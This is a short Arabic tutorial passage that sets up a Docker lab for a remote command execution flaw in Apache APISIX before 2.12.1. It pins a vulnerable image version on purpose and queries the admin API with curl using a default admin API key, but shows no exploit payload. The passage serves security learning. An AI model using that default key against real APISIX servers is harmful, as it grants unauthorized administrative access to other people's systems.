Apache APISIX < 2.12.1 تنفيذ الأوامر عن بُعد ومختبر Docker

لنقم باستنساخ هذا المستودع باستخدام gitclone، ثم ننتقل إلى apisix-docker/examples. في هذا الملف docker-compose.yml، قمنا بالفعل بتغيير الصورة إلى image: apache/apisix:2.12.0-alpine، لأن الثغرة موجودة في هذا الإصدار، ثم لنقم بالتثبيت باستخدام docker compose.

بداية سريعة عبر docker-compose، يمكننا تشغيل جميع الوحدات باستخدام docker-compose.

$ cd example
$ docker-compose -p docker-apisix up -d

لنستخدم هذا الأمر docker ps -a للتأكد من أن صور docker تعمل في الخلفية. بعد ذلك، يمكننا الوصول إلى API باستخدام curl بسيط

$ curl 'http://127.0.0.1:9080/apisix/admin/routes?api_key=edd1c9f034335f136f87ad84b625c8f1' -i
